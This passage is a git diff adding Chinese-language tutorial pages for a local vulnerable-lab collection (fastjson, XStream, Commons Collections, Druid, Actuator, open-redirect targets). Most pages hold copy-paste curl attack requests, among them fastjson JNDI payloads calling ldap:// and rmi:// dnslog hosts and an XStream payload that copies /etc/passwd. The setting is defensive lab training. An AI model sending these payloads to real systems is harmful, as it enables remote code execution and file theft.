如果这个模块没有统一模板,建议把你常用的测试请求整理成 curl 命令留档。 + +## 测试时重点看什么 + +1. 漏洞版重点看敏感端点是否可以未授权访问。 +2. 修复版重点看是否返回 401、403、登录页或更少的暴露信息。 +3. 最好把漏洞版和修复版窗口并排打开做对照。 + +## 相关入口 + +- 总控台:`http://宿主机IP:5000/` +- 文档索引:[`doc/README.md`](../README.md) +- 根项目说明:[`README.md`](../../README.md) diff --git a/doc/projects/actuator-unauthorized-2-x.md b/doc/projects/actuator-unauthorized-2-x.md new file mode 100644 index 0000000..168f3e2 --- /dev/null +++ b/doc/projects/actuator-unauthorized-2-x.md @@ -0,0 +1,43 @@ +# actuator_unauthorized_2.X 操作教程 + +- 类型:单体靶场 +- 目录:`actuator_unauthorized_2.X` +- 端口:`无固定端口` +- 推荐入口:`/actuator` + +## 这是什么 + +Actuator 2.X 未授权靶场 + +## 启动前准备 + +1. 在仓库根目录执行 `bash run-local-build.sh`。 +2. 等待对应容器启动完成,并确认端口 `无固定端口` 已经监听。 +3. 如果你还想通过首页统一发包,再额外确认 `http://宿主机IP:5000/` 能打开。 + +## 方式一:通过首页测试 + +1. 打开 `http://宿主机IP:5000/`。 +2. 在搜索框输入 `actuator2、unauthorized` 过滤到当前项目。 +3. 先点“测试”发送内置模板。 + +推荐直接使用的首页条目: +- 当前项目暂无首页模板,建议直接按下文接口方式验证。 + +## 方式二:直接访问接口测试 + +1. 先访问推荐入口:`http://宿主机IP:无固定端口/actuator`。 +2. 按页面提示填写参数或提交表单。 +3. 如果这个模块没有统一模板,建议把你常用的测试请求整理成 curl 命令留档。 + +## 测试时重点看什么 + +1. 漏洞版重点看敏感端点是否可以未授权访问。 +2. 修复版重点看是否返回 401、403、登录页或更少的暴露信息。 +3. 最好把漏洞版和修复版窗口并排打开做对照。 + +## 相关入口 + +- 总控台:`http://宿主机IP:5000/` +- 文档索引:[`doc/README.md`](../README.md) +- 根项目说明:[`README.md`](../../README.md) diff --git a/doc/projects/base-vul-repair.md b/doc/projects/base-vul-repair.md new file mode 100644 index 0000000..a9e95e2 --- /dev/null +++ b/doc/projects/base-vul-repair.md @@ -0,0 +1,50 @@ +# base_vul_repair 操作教程 + +- 类型:单体靶场 +- 目录:`base_vul_repair` +- 端口:`9990` +- 推荐入口:`/swagger-ui.html` + +## 这是什么 + +基础漏洞修复合集 + +## 启动前准备 + +1. 在仓库根目录执行 `bash run-local-build.sh`。 +2. 这个项目现在默认使用 SQLite,本地会自动初始化 `/tmp/base_vul_repair.db`,不再依赖 MySQL。 +3. 等待对应容器启动完成,并确认端口 `9990` 已经监听。 +4. 如果你还想通过首页统一发包,再额外确认 `http://宿主机IP:5000/` 能打开。 + +## 方式一:通过首页测试 + +1. 打开 `http://宿主机IP:5000/`。 +2. 在搜索框输入 `repair、base_vul、authorized` 过滤到当前项目。 +3. 先点“测试”发送内置模板。 +4. 推荐先跑 `OpenRedirector_ModelAndView_normal`,再按需用“重放数据包”替换 payload。 +5. 再跑 `OpenRedirector_ModelAndView_normal` 做正常流量或修复版对照。 + +推荐直接使用的首页条目: +- `OpenRedirector_ModelAndView_normal`:GET http://宿主机IP:9990/OpenRedirector_ModelAndView?url=https://宿主机IP +- `OpenRedirector_lacation_normal`:GET http://宿主机IP:9990/OpenRedirector_lacation?url=https://宿主机IP +- `OpenRedirector_sendRedirect_normal`:GET http://宿主机IP:9990/OpenRedirector_sendRedirect?url=https://宿主机IP + +## 方式二:直接访问接口测试 + +1. 先访问推荐入口:`http://宿主机IP:9990/swagger-ui.html`。 +2. 先执行攻击面请求:`OpenRedirector_ModelAndView_normal`。 +3. 可直接复制命令:`curl "http://宿主机IP:9990/OpenRedirector_ModelAndView?url=https://宿主机IP" -H "Content-Type: application/x-www-form-urlencoded"`。 +4. 再执行对照请求:`OpenRedirector_ModelAndView_normal`。 +5. 对照命令:`curl "http://宿主机IP:9990/OpenRedirector_ModelAndView?url=https://宿主机IP" -H "Content-Type: application/x-www-form-urlencoded"`。 + +## 测试时重点看什么 + +1. 先发正常请求确认业务可用,再发攻击请求对比响应差异。 +2. 对于 SQLi、XXE、SSRF、SSTI、文件读写等接口,建议关注回显和异常日志。 +3. 如果项目同时有 repair 版,再用同一组 payload 做一次对照验证。 + +## 相关入口 + +- 总控台:`http://宿主机IP:5000/` +- 文档索引:[`doc/README.md`](../README.md) +- 根项目说明:[`README.md`](../../README.md) diff --git a/doc/projects/base-vul.md b/doc/projects/base-vul.md new file mode 100644 index 0000000..d1be8fb --- /dev/null +++ b/doc/projects/base-vul.md @@ -0,0 +1,50 @@ +# base_vul 操作教程 + +- 类型:单体靶场 +- 目录:`base_vul` +- 端口:`9991` +- 推荐入口:`/swagger-ui.html` + +## 这是什么 + +基础漏洞合集 + +## 启动前准备 + +1. 在仓库根目录执行 `bash run-local-build.sh`。 +2. 这个项目现在默认使用 SQLite,本地会自动初始化 `/tmp/base_vul.db`,不再依赖 MySQL。 +3. 等待对应容器启动完成,并确认端口 `9991` 已经监听。 +4. 如果你还想通过首页统一发包,再额外确认 `http://宿主机IP:5000/` 能打开。 + +## 方式一:通过首页测试 + +1. 打开 `http://宿主机IP:5000/`。 +2. 在搜索框输入 `base_vul、sql、xss、ssrf、xxe` 过滤到当前项目。 +3. 先点“测试”发送内置模板。 +4. 推荐先跑 `OpenRedirector_ModelAndView_attack`,再按需用“重放数据包”替换 payload。 +5. 再跑 `ReDos_normal_1` 做正常流量或修复版对照。 + +推荐直接使用的首页条目: +- `OpenRedirector_ModelAndView_attack`:GET http://宿主机IP:9991/OpenRedirector_ModelAndView?url=https://宿主机IP +- `OpenRedirector_lacation_attack`:GET http://宿主机IP:9991/OpenRedirector_lacation?url=https://宿主机IP +- `OpenRedirector_sendRedirect_attack`:GET http://宿主机IP:9991/OpenRedirector_sendRedirect?url=https://宿主机IP + +## 方式二:直接访问接口测试 + +1. 先访问推荐入口:`http://宿主机IP:9991/swagger-ui.html`。 +2. 先执行攻击面请求:`OpenRedirector_ModelAndView_attack`。 +3. 可直接复制命令:`curl "http://宿主机IP:9991/OpenRedirector_ModelAndView?url=https://宿主机IP" -H "Content-Type: application/x-www-form-urlencoded"`。 +4. 再执行对照请求:`ReDos_normal_1`。 +5. 对照命令:`curl "http://宿主机IP:9991/testReDos1?input=1" -H "Content-Type: application/x-www-form-urlencoded"`。 + +## 测试时重点看什么 + +1. 先发正常请求确认业务可用,再发攻击请求对比响应差异。 +2. 对于 SQLi、XXE、SSRF、SSTI、文件读写等接口,建议关注回显和异常日志。 +3. 如果项目同时有 repair 版,再用同一组 payload 做一次对照验证。 + +## 相关入口 + +- 总控台:`http://宿主机IP:5000/` +- 文档索引:[`doc/README.md`](../README.md) +- 根项目说明:[`README.md`](../../README.md) diff --git a/doc/projects/cas-xxe.md b/doc/projects/cas-xxe.md new file mode 100644 index 0000000..14255f1 --- /dev/null +++ b/doc/projects/cas-xxe.md @@ -0,0 +1,43 @@ +# cas_xxe 操作教程 + +- 类型:单体靶场 +- 目录:`cas_xxe` +- 端口:`无固定端口` +- 推荐入口:`/xxe_cas` + +## 这是什么 + +CAS XXE 靶场 + +## 启动前准备 + +1. 在仓库根目录执行 `bash run-local-build.sh`。 +2. 等待对应容器启动完成,并确认端口 `无固定端口` 已经监听。 +3. 如果你还想通过首页统一发包,再额外确认 `http://宿主机IP:5000/` 能打开。 + +## 方式一:通过首页测试 + +1. 打开 `http://宿主机IP:5000/`。 +2. 在搜索框输入 `cas.xxe、cas_xxe` 过滤到当前项目。 +3. 先点“测试”发送内置模板。 + +推荐直接使用的首页条目: +- 当前项目暂无首页模板,建议直接按下文接口方式验证。 + +## 方式二:直接访问接口测试 + +1. 先访问推荐入口:`http://宿主机IP:无固定端口/xxe_cas`。 +2. 按页面提示填写参数或提交表单。 +3. 如果这个模块没有统一模板,建议把你常用的测试请求整理成 curl 命令留档。 + +## 测试时重点看什么 + +1. 看接口是否返回成功,以及响应内容是否和正常请求不同。 +2. 结合容器日志判断是否进入了目标解析、反序列化或模板处理逻辑。 +3. 如果你接了 DNSLog、LDAP 或 RMI 观察点,也可以顺手对照外带痕迹。 + +## 相关入口 + +- 总控台:`http://宿主机IP:5000/` +- 文档索引:[`doc/README.md`](../README.md) +- 根项目说明:[`README.md`](../../README.md) diff --git a/doc/projects/collections.md b/doc/projects/collections.md new file mode 100644 index 0000000..16658e0 --- /dev/null +++ b/doc/projects/collections.md @@ -0,0 +1,29 @@ +# collections 操作教程 + +- 类型:单体靶场 +- 目录:`collections` +- 端口:`9945` +- 推荐入口:`/playground` + +## 这是什么 + +Commons Collections 反序列化演示靶场,当前已经接入统一 compose,可以直接通过页面按钮或回放脚本触发。 +除了直接访问 `/transformer` 之外,项目还提供了: + +- `GET /payload?command=...`:生成序列化字节流 +- `POST /deserialize`:接收外部上传的序列化字节流并触发反序列化 +- `GET /status`:查看 `/tmp/collections-success` 和 `/tmp/collections-output` 状态 + +## 具体操作步骤 + +1. 运行统一编排,或单独在项目目录执行 `docker compose up --build`。 +2. 打开 `http://宿主机IP:9945/playground`,优先点页面里的 `touch 标记`。 +3. 再点 `查看状态`,确认 `/tmp/collections-success` 已存在。 +4. 如果你想看命令输出,可以填充 `id > /tmp/collections-output`,然后再访问 `http://宿主机IP:9945/status`。 +5. 页面里的“上传字节流触发”会先请求 `/payload`,再把字节流 POST 到 `/deserialize`,更接近真实外部输入场景。 +6. 如果你要统一回放,直接使用 `collections_attack_touch` 或 `collections_attack_output`。 + +## 相关入口 + +- 文档索引:[`doc/README.md`](../README.md) +- 根项目说明:[`README.md`](../../README.md) diff --git a/doc/projects/cve-2019-10173.md b/doc/projects/cve-2019-10173.md new file mode 100644 index 0000000..776ebcb --- /dev/null +++ b/doc/projects/cve-2019-10173.md @@ -0,0 +1,44 @@ +# CVE-2019-10173 操作教程 + +- 类型:单体靶场 +- 目录:`CVE-2019-10173` +- 端口:`9973` +- 推荐入口:`/CVE-2019-10173` + +## 这是什么 + +XStream 反序列化靶场 + +## 启动前准备 + +1. 在仓库根目录执行 `bash run-local-build.sh`。 +2. 等待对应容器启动完成,并确认端口 `9973` 已经监听。 +3. 如果你还想通过首页统一发包,再额外确认 `http://宿主机IP:5000/` 能打开。 + +## 方式一:通过首页测试 + +1. 打开 `http://宿主机IP:5000/`。 +2. 在搜索框输入 `cve.2019.10173、cve_2019_10173、xstream_CVE-2019-10173` 过滤到当前项目。 +3. 先点“测试”发送内置模板。 +4. 推荐先跑 `xstream_CVE-2019-10173`,再按需用“重放数据包”替换 payload。 + +推荐直接使用的首页条目: +- `xstream_CVE-2019-10173`:POST http://宿主机IP:9973/CVE-2019-10173 + +## 方式二:直接访问接口测试 + +1. 先访问推荐入口:`http://宿主机IP:9973/CVE-2019-10173`。 +2. 先执行攻击面请求:`xstream_CVE-2019-10173`。 +3. 可直接复制命令:`curl -X POST "http://宿主机IP:9973/CVE-2019-10173" -H "Content-Type: application/json" -d "java.lang.Comparablecp/etc/passwd/tmpstart"`。 + +## 测试时重点看什么 + +1. 看接口是否返回成功,以及响应内容是否和正常请求不同。 +2. 结合容器日志判断是否进入了目标解析、反序列化或模板处理逻辑。 +3. 如果你接了 DNSLog、LDAP 或 RMI 观察点,也可以顺手对照外带痕迹。 + +## 相关入口 + +- 总控台:`http://宿主机IP:5000/` +- 文档索引:[`doc/README.md`](../README.md) +- 根项目说明:[`README.md`](../../README.md) diff --git a/doc/projects/cve-2019-12384.md b/doc/projects/cve-2019-12384.md new file mode 100644 index 0000000..6696a0d --- /dev/null +++ b/doc/projects/cve-2019-12384.md @@ -0,0 +1,43 @@ +# CVE-2019-12384 操作教程 + +- 类型:单体靶场 +- 目录:`CVE-2019-12384` +- 端口:`9972` +- 推荐入口:`/CVE-2019-12384` + +## 这是什么 + +Jackson-databind 反序列化靶场 + +## 启动前准备 + +1. 在仓库根目录执行 `bash run-local-build.sh`。 +2. 等待对应容器启动完成,并确认端口 `9972` 已经监听。 +3. 如果你还想通过首页统一发包,再额外确认 `http://宿主机IP:5000/` 能打开。 + +## 方式一:通过首页测试 + +1. 打开 `http://宿主机IP:5000/`。 +2. 在搜索框输入 `cve.2019.12384、cve_2019_12384` 过滤到当前项目。 +3. 先点“测试”发送内置模板。 + +推荐直接使用的首页条目: +- 当前项目暂无首页模板,建议直接按下文接口方式验证。 + +## 方式二:直接访问接口测试 + +1. 先访问推荐入口:`http://宿主机IP:9972/CVE-2019-12384`。 +2. 按页面提示填写参数或提交表单。 +3. 如果这个模块没有统一模板,建议把你常用的测试请求整理成 curl 命令留档。 + +## 测试时重点看什么 + +1. 看接口是否返回成功,以及响应内容是否和正常请求不同。 +2. 结合容器日志判断是否进入了目标解析、反序列化或模板处理逻辑。 +3. 如果你接了 DNSLog、LDAP 或 RMI 观察点,也可以顺手对照外带痕迹。 + +## 相关入口 + +- 总控台:`http://宿主机IP:5000/` +- 文档索引:[`doc/README.md`](../README.md) +- 根项目说明:[`README.md`](../../README.md) diff --git a/doc/projects/druid-authorized.md b/doc/projects/druid-authorized.md new file mode 100644 index 0000000..d6ecec9 --- /dev/null +++ b/doc/projects/druid-authorized.md @@ -0,0 +1,48 @@ +# druid_authorized 操作教程 + +- 类型:单体靶场 +- 目录:`druid_authorized` +- 端口:`9996` +- 推荐入口:`/druid` + +## 这是什么 + +Druid 修复版 + +## 启动前准备 + +1. 在仓库根目录执行 `bash run-local-build.sh`。 +2. 这个项目现在默认使用 SQLite,本地会自动初始化 `/tmp/druid_authorized.db`,不再依赖 MySQL。 +3. 等待对应容器启动完成,并确认端口 `9996` 已经监听。 +4. 如果你还想通过首页统一发包,再额外确认 `http://宿主机IP:5000/` 能打开。 + +## 方式一:通过首页测试 + +1. 打开 `http://宿主机IP:5000/`。 +2. 在搜索框输入 `druid、authorized、repair` 过滤到当前项目。 +3. 先点“测试”发送内置模板。 +4. 推荐先跑 `druid_authorized`,再按需用“重放数据包”替换 payload。 +5. 再跑 `druid_authorized` 做正常流量或修复版对照。 + +推荐直接使用的首页条目: +- `druid_authorized`:GET http://宿主机IP:9996/druid + +## 方式二:直接访问接口测试 + +1. 先访问推荐入口:`http://宿主机IP:9996/druid`。 +2. 先执行攻击面请求:`druid_authorized`。 +3. 可直接复制命令:`curl "http://宿主机IP:9996/druid" -H "Content-Type: application/json"`。 +4. 再执行对照请求:`druid_authorized`。 +5. 对照命令:`curl "http://宿主机IP:9996/druid" -H "Content-Type: application/json"`。 + +## 测试时重点看什么 + +1. 漏洞版重点看敏感端点是否可以未授权访问。 +2. 修复版重点看是否返回 401、403、登录页或更少的暴露信息。 +3. 最好把漏洞版和修复版窗口并排打开做对照。 + +## 相关入口 + +- 总控台:`http://宿主机IP:5000/` +- 文档索引:[`doc/README.md`](../README.md) +- 根项目说明:[`README.md`](../../README.md) diff --git a/doc/projects/druid-unauthorized.md b/doc/projects/druid-unauthorized.md new file mode 100644 index 0000000..2058813 --- /dev/null +++ b/doc/projects/druid-unauthorized.md @@ -0,0 +1,49 @@ +# druid_unauthorized 操作教程 + +- 类型:单体靶场 +- 目录:`druid_unauthorized` +- 端口:`9997` +- 推荐入口:`/druid` + +## 这是什么 + +Druid 未授权访问靶场 + +## 启动前准备 + +1. 在仓库根目录执行 `bash run-local-build.sh`。 +2. 这个项目现在默认使用 SQLite,本地会自动初始化 `/tmp/druid_unauthorized.db`,不再依赖 MySQL。 +3. 等待对应容器启动完成,并确认端口 `9997` 已经监听。 +4. 如果你还想通过首页统一发包,再额外确认 `http://宿主机IP:5000/` 能打开。 + +## 方式一:通过首页测试 + +1. 打开 `http://宿主机IP:5000/`。 +2. 在搜索框输入 `druid、unauthorized` 过滤到当前项目。 +3. 先点“测试”发送内置模板。 +4. 推荐先跑 `druid_unauthorized`,再按需用“重放数据包”替换 payload。 +5. 再跑 `druid_sqlwall` 做正常流量或修复版对照。 + +推荐直接使用的首页条目: +- `druid_unauthorized`:GET http://宿主机IP:9997/druid +- `druid_sqlwall`:GET http://宿主机IP:9997/druid_sql?id=1 + +## 方式二:直接访问接口测试 + +1. 先访问推荐入口:`http://宿主机IP:9997/druid`。 +2. 先执行攻击面请求:`druid_unauthorized`。 +3. 可直接复制命令:`curl "http://宿主机IP:9997/druid" -H "Content-Type: application/json"`。 +4. 再执行对照请求:`druid_sqlwall`。 +5. 对照命令:`curl "http://宿主机IP:9997/druid_sql?id=1" -H "Content-Type: application/json"`。 + +## 测试时重点看什么 + +1. 漏洞版重点看敏感端点是否可以未授权访问。 +2. 修复版重点看是否返回 401、403、登录页或更少的暴露信息。 +3. 最好把漏洞版和修复版窗口并排打开做对照。 + +## 相关入口 + +- 总控台:`http://宿主机IP:5000/` +- 文档索引:[`doc/README.md`](../README.md) +- 根项目说明:[`README.md`](../../README.md) diff --git a/doc/projects/fastjson-1-2-24.md b/doc/projects/fastjson-1-2-24.md new file mode 100644 index 0000000..3eb21d3 --- /dev/null +++ b/doc/projects/fastjson-1-2-24.md @@ -0,0 +1,48 @@ +# fastjson-1.2.24 操作教程 + +- 类型:单体靶场 +- 目录:`fastjson-1.2.24` +- 端口:`9999` +- 推荐入口:`/fastjson-1.2.24` + +## 这是什么 + +fastjson 1.2.24 反序列化靶场 + +## 启动前准备 + +1. 在仓库根目录执行 `bash run-local-build.sh`。 +2. 等待对应容器启动完成,并确认端口 `9999` 已经监听。 +3. 如果你还想通过首页统一发包,再额外确认 `http://宿主机IP:5000/` 能打开。 + +## 方式一:通过首页测试 + +1. 打开 `http://宿主机IP:5000/`。 +2. 在搜索框输入 `fastjson.1.2.24、fastjson_1_2_24、fastjson1_2_24_attack、fastjson_1_2_24_normal` 过滤到当前项目。 +3. 先点“测试”发送内置模板。 +4. 推荐先跑 `fastjson1_2_24_attack`,再按需用“重放数据包”替换 payload。 +5. 再跑 `fastjson_1_2_24_normal` 做正常流量或修复版对照。 + +推荐直接使用的首页条目: +- `fastjson1_2_24_attack`:POST http://宿主机IP:9999/fastjson1.2.24-process +- `fastjson_1_2_24_normal`:POST http://宿主机IP:9999/fastjson1.2.24-process + +## 方式二:直接访问接口测试 + +1. 先访问推荐入口:`http://宿主机IP:9999/fastjson-1.2.24`。 +2. 先执行攻击面请求:`fastjson1_2_24_attack`。 +3. 可直接复制命令:`curl -X POST "http://宿主机IP:9999/fastjson1.2.24-process" -H "Content-Type: application/json" -d "{\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://fastjson-test.dnslog.cn\",\"autoCommit\":true}};"`。 +4. 再执行对照请求:`fastjson_1_2_24_normal`。 +5. 对照命令:`curl -X POST "http://宿主机IP:9999/fastjson1.2.24-process" -H "Content-Type: application/json" -d "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"`。 + +## 测试时重点看什么 + +1. 看接口是否返回成功,以及响应内容是否和正常请求不同。 +2. 结合容器日志判断是否进入了目标解析、反序列化或模板处理逻辑。 +3. 如果你接了 DNSLog、LDAP 或 RMI 观察点,也可以顺手对照外带痕迹。 + +## 相关入口 + +- 总控台:`http://宿主机IP:5000/` +- 文档索引:[`doc/README.md`](../README.md) +- 根项目说明:[`README.md`](../../README.md) diff --git a/doc/projects/fastjson-1-2-25-1-2-41.md b/doc/projects/fastjson-1-2-25-1-2-41.md new file mode 100644 index 0000000..29b2a34 --- /dev/null +++ b/doc/projects/fastjson-1-2-25-1-2-41.md @@ -0,0 +1,49 @@ +# fastjson-1.2.25-1.2.41 操作教程 + +- 类型:单体靶场 +- 目录:`fastjson-1.2.25-1.2.41` +- 端口:`9987` +- 推荐入口:`/fastjson-1.2.25` + +## 这是什么 + +fastjson 1.2.25-1.2.41 反序列化靶场 + +## 启动前准备 + +1. 在仓库根目录执行 `bash run-local-build.sh`。 +2. 等待对应容器启动完成,并确认端口 `9987` 已经监听。 +3. 如果你还想通过首页统一发包,再额外确认 `http://宿主机IP:5000/` 能打开。 + +## 方式一:通过首页测试 + +1. 打开 `http://宿主机IP:5000/`。 +2. 在搜索框输入 `fastjson.1.2.25.1.2.41、fastjson_1_2_25_1_2_41、fastjson1_2_25_attack、fastjson1_2_41_attack` 过滤到当前项目。 +3. 先点“测试”发送内置模板。 +4. 推荐先跑 `fastjson1_2_25_attack`,再按需用“重放数据包”替换 payload。 +5. 再跑 `fastjson1_2_25_normal` 做正常流量或修复版对照。 + +推荐直接使用的首页条目: +- `fastjson1_2_25_attack`:POST http://宿主机IP:9987/fastjson1.2.25-process +- `fastjson1_2_41_attack`:POST http://宿主机IP:9987/fastjson1.2.41-process-setAutoTypeSupport +- `fastjson1_2_25_normal`:POST http://宿主机IP:9987/fastjson1.2.25-process + +## 方式二:直接访问接口测试 + +1. 先访问推荐入口:`http://宿主机IP:9987/fastjson-1.2.25`。 +2. 先执行攻击面请求:`fastjson1_2_25_attack`。 +3. 可直接复制命令:`curl -X POST "http://宿主机IP:9987/fastjson1.2.25-process" -H "Content-Type: application/json" -d "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://fastjson125-dnslog.cn\",\"autoCommit\":true}}"`。 +4. 再执行对照请求:`fastjson1_2_25_normal`。 +5. 对照命令:`curl -X POST "http://宿主机IP:9987/fastjson1.2.25-process" -H "Content-Type: application/json" -d "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"`。 + +## 测试时重点看什么 + +1. 看接口是否返回成功,以及响应内容是否和正常请求不同。 +2. 结合容器日志判断是否进入了目标解析、反序列化或模板处理逻辑。 +3. 如果你接了 DNSLog、LDAP 或 RMI 观察点,也可以顺手对照外带痕迹。 + +## 相关入口 + +- 总控台:`http://宿主机IP:5000/` +- 文档索引:[`doc/README.md`](../README.md) +- 根项目说明:[`README.md`](../../README.md) diff --git a/doc/projects/fastjson-1-2-42.md b/doc/projects/fastjson-1-2-42.md new file mode 100644 index 0000000..9d7d0d1 --- /dev/null +++ b/doc/projects/fastjson-1-2-42.md @@ -0,0 +1,48 @@ +# fastjson-1.2.42 操作教程 + +- 类型:单体靶场 +- 目录:`fastjson-1.2.42` +- 端口:`9986` +- 推荐入口:`/fastjson-1.2.42` + +## 这是什么 + +fastjson 1.2.42 反序列化靶场 + +## 启动前准备 + +1. 在仓库根目录执行 `bash run-local-build.sh`。 +2. 等待对应容器启动完成,并确认端口 `9986` 已经监听。 +3. 如果你还想通过首页统一发包,再额外确认 `http://宿主机IP:5000/` 能打开。 + +## 方式一:通过首页测试 + +1. 打开 `http://宿主机IP:5000/`。 +2. 在搜索框输入 `fastjson.1.2.42、fastjson_1_2_42、fastjson1_2_42_attack、fastjson1_2_42_normal` 过滤到当前项目。 +3. 先点“测试”发送内置模板。 +4. 推荐先跑 `fastjson1_2_42_attack`,再按需用“重放数据包”替换 payload。 +5. 再跑 `fastjson1_2_42_normal` 做正常流量或修复版对照。 + +推荐直接使用的首页条目: +- `fastjson1_2_42_attack`:POST http://宿主机IP:9986/fastjson1.2.42-process +- `fastjson1_2_42_normal`:POST http://宿主机IP:9986/fastjson1.2.42-process + +## 方式二:直接访问接口测试 + +1. 先访问推荐入口:`http://宿主机IP:9986/fastjson-1.2.42`。 +2. 先执行攻击面请求:`fastjson1_2_42_attack`。 +3. 可直接复制命令:`curl -X POST "http://宿主机IP:9986/fastjson1.2.42-process" -H "Content-Type: application/json" -d "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://fastjson1_2_42_attack.dnslog.cn/Exploit\", \"autoCommit\":true}"`。 +4. 再执行对照请求:`fastjson1_2_42_normal`。 +5. 对照命令:`curl -X POST "http://宿主机IP:9986/fastjson1.2.42-process" -H "Content-Type: application/json" -d "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"`。 + +## 测试时重点看什么 + +1. 看接口是否返回成功,以及响应内容是否和正常请求不同。 +2. 结合容器日志判断是否进入了目标解析、反序列化或模板处理逻辑。 +3. 如果你接了 DNSLog、LDAP 或 RMI 观察点,也可以顺手对照外带痕迹。 + +## 相关入口 + +- 总控台:`http://宿主机IP:5000/` +- 文档索引:[`doc/README.md`](../README.md) +- 根项目说明:[`README.md`](../../README.md) diff --git a/doc/projects/fastjson-1-2-43.md b/doc/projects/fastjson-1-2-43.md new file mode 100644 index 0000000..aff6257 --- /dev/null +++ b/doc/projects/fastjson-1-2-43.md @@ -0,0 +1,48 @@ +# fastjson-1.2.43 操作教程 + +- 类型:单体靶场 +- 目录:`fastjson-1.2.43` +- 端口:`9985` +- 推荐入口:`/fastjson-1.2.43` + +## 这是什么 + +fastjson 1.2.43 反序列化靶场 + +## 启动前准备 + +1. 在仓库根目录执行 `bash run-local-build.sh`。 +2. 等待对应容器启动完成,并确认端口 `9985` 已经监听。 +3. 如果你还想通过首页统一发包,再额外确认 `http://宿主机IP:5000/` 能打开。 + +## 方式一:通过首页测试 + +1. 打开 `http://宿主机IP:5000/`。 +2. 在搜索框输入 `fastjson.1.2.43、fastjson_1_2_43、fastjson1_2_43_attack、fastjson1_2_43_normal` 过滤到当前项目。 +3. 先点“测试”发送内置模板。 +4. 推荐先跑 `fastjson1_2_43_attack`,再按需用“重放数据包”替换 payload。 +5. 再跑 `fastjson1_2_43_normal` 做正常流量或修复版对照。 + +推荐直接使用的首页条目: +- `fastjson1_2_43_attack`:POST http://宿主机IP:9985/fastjson1.2.43-process +- `fastjson1_2_43_normal`:POST http://宿主机IP:9985/fastjson1.2.43-process + +## 方式二:直接访问接口测试 + +1. 先访问推荐入口:`http://宿主机IP:9985/fastjson-1.2.43`。 +2. 先执行攻击面请求:`fastjson1_2_43_attack`。 +3. 可直接复制命令:`curl -X POST "http://宿主机IP:9985/fastjson1.2.43-process" -H "Content-Type: application/json" -d "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"rmi://fastjson1_2_43_attack.dnslog.cn/Exploit\",\"autoCommit\":true]}"`。 +4. 再执行对照请求:`fastjson1_2_43_normal`。 +5. 对照命令:`curl -X POST "http://宿主机IP:9985/fastjson1.2.43-process" -H "Content-Type: application/json" -d "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"`。 + +## 测试时重点看什么 + +1. 看接口是否返回成功,以及响应内容是否和正常请求不同。 +2. 结合容器日志判断是否进入了目标解析、反序列化或模板处理逻辑。 +3. 如果你接了 DNSLog、LDAP 或 RMI 观察点,也可以顺手对照外带痕迹。 + +## 相关入口 + +- 总控台:`http://宿主机IP:5000/` +- 文档索引:[`doc/README.md`](../README.md) +- 根项目说明:[`README.md`](../../README.md) diff --git a/doc/projects/fastjson-1-2-45.md b/doc/projects/fastjson-1-2-45.md new file mode 100644 index 0000000..1cd033e --- /dev/null +++ b/doc/projects/fastjson-1-2-45.md @@ -0,0 +1,48 @@ +# fastjson-1.2.45 操作教程 + +- 类型:单体靶场 +- 目录:`fastjson-1.2.45` +- 端口:`9984` +- 推荐入口:`/fastjson-1.2.45` + +## 这是什么 + +fastjson 1.2.45 反序列化靶场 + +## 启动前准备 + +1. 在仓库根目录执行 `bash run-local-build.sh`。 +2. 等待对应容器启动完成,并确认端口 `9984` 已经监听。 +3. 如果你还想通过首页统一发包,再额外确认 `http://宿主机IP:5000/` 能打开。 + +## 方式一:通过首页测试 + +1. 打开 `http://宿主机IP:5000/`。 +2. 在搜索框输入 `fastjson.1.2.45、fastjson_1_2_45、fastjson1_2_45_attack、fastjson1_2_45_normal` 过滤到当前项目。 +3. 先点“测试”发送内置模板。 +4. 推荐先跑 `fastjson1_2_45_attack`,再按需用“重放数据包”替换 payload。 +5. 再跑 `fastjson1_2_45_normal` 做正常流量或修复版对照。 + +推荐直接使用的首页条目: +- `fastjson1_2_45_attack`:POST http://宿主机IP:9984/fastjson1.2.45-process +- `fastjson1_2_45_normal`:POST http://宿主机IP:9984/fastjson1.2.45-process + +## 方式二:直接访问接口测试 + +1. 先访问推荐入口:`http://宿主机IP:9984/fastjson-1.2.45`。 +2. 先执行攻击面请求:`fastjson1_2_45_attack`。 +3. 可直接复制命令:`curl -X POST "http://宿主机IP:9984/fastjson1.2.45-process" -H "Content-Type: application/json" -d "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://fastjson1.2.45-process.dnslog.cn/Exploit\"}}"`。 +4. 再执行对照请求:`fastjson1_2_45_normal`。 +5. 对照命令:`curl -X POST "http://宿主机IP:9984/fastjson1.2.45-process" -H "Content-Type: application/json" -d "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"`。 + +## 测试时重点看什么 + +1. 看接口是否返回成功,以及响应内容是否和正常请求不同。 +2. 结合容器日志判断是否进入了目标解析、反序列化或模板处理逻辑。 +3. 如果你接了 DNSLog、LDAP 或 RMI 观察点,也可以顺手对照外带痕迹。 + +## 相关入口 + +- 总控台:`http://宿主机IP:5000/` +- 文档索引:[`doc/README.md`](../README.md) +- 根项目说明:[`README.md`](../../README.md) diff --git a/doc/projects/fastjson-1-2-59.md b/doc/projects/fastjson-1-2-59.md new file mode 100644 index 0000000..eeb4d33 --- /dev/null +++ b/doc/projects/fastjson-1-2-59.md @@ -0,0 +1,49 @@ +# fastjson-1.2.59 操作教程 + +- 类型:单体靶场 +- 目录:`fastjson-1.2.59` +- 端口:`9983` +- 推荐入口:`/fastjson-1.2.59` + +## 这是什么 + +fastjson 1.2.59 反序列化靶场 + +## 启动前准备 + +1. 在仓库根目录执行 `bash run-local-build.sh`。 +2. 等待对应容器启动完成,并确认端口 `9983` 已经监听。 +3. 如果你还想通过首页统一发包,再额外确认 `http://宿主机IP:5000/` 能打开。 + +## 